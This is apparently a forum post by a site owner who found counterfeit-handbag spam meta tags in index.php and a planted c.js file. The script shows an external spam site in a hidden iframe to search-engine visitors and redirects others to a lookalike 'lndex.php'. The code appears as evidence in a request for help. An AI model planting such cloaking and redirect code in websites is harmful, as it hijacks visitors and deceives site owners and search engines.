I searched through the entire code and found the spam culprit. My index.php file has a lot of junk in it. Here is just one section:

	<meta property="fb:app_id" content="167724486758931" />
<meta property="og:site_name" content="louis vuiitton outlet,Cheap louis vuitton handbags, louis vuitton shoe" />
<meta property="og:description" content="My dear friends, once you have a glance at the Cheap louis vuitton handbags in louis vuitton outlet, you must be surprised at louis vuitton shoes." />
<meta property="og:url" content="http://www.quilledcreations.com/quillingforum" />
<meta property="og:type" content="website" />
<meta property="og:image" content="http://www.quilledcreations.com/images/qclogo.jpg" />

Any ideas how it got there? Any ideas on how to prevent it in the future?

Also found this file c.js in my forums main directory. Here are the contents:

var d=document.referrer;
if(d.indexOf("google")>0||d.indexOf("bing")>0||d.indexOf("yahoo")>0||d.indexOf("aol")>0||d.indexOf("ask")>0||d.indexOf("search")>0){document.write("<div align='center'><iframe frameBorder='0' scrolling='no' src='http://www.louisvuittonbrand.com' width='1002' allowTransparency='true' height='3000'></iframe></div>");
}else{
document.writeln("<script>");
document.writeln("window.location=\"/quillingforum/lndex.php\";");
document.writeln("</script>");
}

Is this file needed at all? Should I delete the spam or the whole file?
